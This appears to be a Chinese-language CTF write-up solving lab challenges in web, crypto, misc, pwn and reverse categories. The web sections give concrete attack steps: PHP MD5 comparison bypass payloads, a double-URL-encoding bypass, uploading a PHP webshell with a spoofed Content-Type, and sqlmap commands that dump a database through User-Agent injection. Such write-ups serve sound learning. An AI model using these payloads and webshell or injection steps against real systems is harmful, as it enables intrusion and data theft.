目录
一、Web
Web_SINGIN
好玩的PHP
渗透的本质
简简单单的文件上传
简简单单的sql
编辑
二、Crypto
Crypto_Singin
easy_rsa
三、Misc
easy_singin
Xjpg
四、Pwn
pwn_Sing
五、Reverse
babyre
easy xor
一、Web
Web_SINGIN
F12代码中就有flag,base64解码
好玩的PHP
GET传参a,b,c,d
当a的值不等于b的值,但它们的MD5值相等(==弱比较 可用数组、0e绕过)
且c=d=flag.php时(===强比较 使用date://协议)返回flag.php
构造payload:
?a[]=1&b[]=2&c=flag.php&d=data://text/plain,flag.php
?a=s214587387a&b=s1091221200a&c=flag.php&d=data://text/plain,flag.php
源代码中得到flag
渗透的本质
下载robots.txt字典附件,使用dirsearch扫描指定字典
python dirsearch.py -u 网址 -e php,html -w 字典路径
python dirsearch.py -u http://172.16.17.6:7402/ -e php,html -w E:\robots.txt
得到状态码为200的/index.phps目录
访问index.php
得到一个PHP代码
GET传参id=admin,当$_GET[id] = urldecode($_GET[id])时返回flag。
即条件为 id=admin(urldecode解码后)
使用bp编码器,url编码两次admin,GET传参即可得到flag。
为什么要进行两次编码?
在网页上输入网址位置也会进行一次ur解码 代码中一次ur解码+网页自带一次ur解码=2次url解码。
简简单单的文件上传
先上传一句话木马的PHP文件,得到提示Content-Type为 image/haha
再上传一句话木马文件,bp抓包改 Content-Type为 image/haha
上传成功后,连接蚁剑在www目录下得到flag
简简单单的sql
打开环境什么都没有,先用dirsearch扫描,发现状态码为200的login.php目录
访问,发现注入点
用sqlmap自动爆数据库
sqlmap -u http://172.16.17.6:8304/login.php --level 3 --dbs --batch
发现是UA头注入
爆数据表(在challenges里面)
sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges --tables --batch
爆user_agents中的数据列
sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges -T user_agents --columns --batch
爆出user_agent中的40字段,得到flag
sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges -T user_agents -C user_agent --dump --batch
二、Crypto
Crypto_Singin
下载附件,\u0062\u0032\u0036是一种Unicode编码形式
Unicode编码:用于表示字符串中的特定字符。
在线编码转换工具程序员开发编码转换
CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换
转为十六进制编码
十六进制编码中,每个字符表示一个数字或字母,范围从0到9以及A到F(其中A代表10,B代表11,依此类推直到F代表15)。
转为HTML实体编码
HTML实体编码: &#name;
- “<”表示小于号“<”
- “>”表示大于号“>”
- “&”表示与符号“&”
- “"”表示双引号“”
- “'”表示单引号‘’
- “ ”表示不换行空格
- “¡”表示¡(西班牙语感叹号)
- “£”表示£(英镑符号)
- “¥”表示¥(日元符号)
- “¢”表示¢(美分符号)
- “€”表示€(欧元符号)
转为base64编码
base64解码,得到flag
easy_rsa
打开附件,发现题目给了n,e,c求m
在线网站,分解n
factordb.com
找到大佬的脚本,得出flag
from Crypto.Util.number import *
import gmpy2
p=782758164865345954251810941
q=810971978554706690040814093
p2=1108609086364627583447802163
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
phi=(p-1)*(q-1)*(p2-1)
d=gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
下载Crypto.Util.number库:GitHub - Legrandin/pycryptodome: A self-contained cryptographic library for Python
安装
pip --default-timeout=100 install pycryptodome
三、Misc
easy_singin
核心价值观解码得flag
Xjpg
Kali安装JDK1.8和切换JDK版本_kali切换java版本-CSDN博客
Linux系统安装JDK1.8 详细流程_电信用户行为分析本实验需要在linux系统环境下完成以下任务: (1)安装jdk; (2)安装-CSDN博客
安装F5-steganography和使用,及解决java环境版本报错问题-CSDN博客
git clone https://github.com/matthewgao/F5-steganography
在F5-steganography下执行命令:
java Extract 图片的绝对路径.jpg
即可解密图片到output.txt文件中,打开output.txt查看。
pk头,把文件改为.zip形式,解压后查看文本。
Brainfuck解码得flag。
四、Pwn
pwn_Sing
3.nc在PWN中的使用_pwn nc-CSDN博客
nc(netcat):建立和监听任意TCP和UDP连接,可用来网络调试、端口扫描等。
网络调试(测试端口号能否连接):
nc -z 主机的IP、域名、端口号 //告诉netcat 用户不想发送数据给主机,nc不用等待用户输入 nc -v 主机的IP、域名、端口号 //告诉netcat输出详细的交互过程
在kali nc连接
五、Reverse
babyre
下载附件,查看知其为32位
用32位IDA查看,在十六进制窗口Hex view中得到flag
easy xor
xor(异或):按位比较,位相同(0,0或1,1)时,结果为0,位不同时(0,1或1,0)结果为1
下载附件,加后缀.exe。64位,无壳
指定位置Ctrl+X
F5反汇编代码
qmemcpy
函数将字符串"a7shw9o10e63nfi19dk"复制到v3
数组中
经过一些操作后,v2
数组包含了以下字符:
'I''G' 'd' '$' '3' 'STX' 'a' 'Q' ';' '5' '^' 'c' 'd' 'SUB' 't' 'US' 'M' '`' 'ESC' 'i'
//'STX'表示'Start of Text'控制字符,'SUB'表示'Substitute'控制字符,'US'表示'Unit Separator'控制字符。这些都是ASCII控制字符的名称
找师姐要的脚本,逆向解密得到flag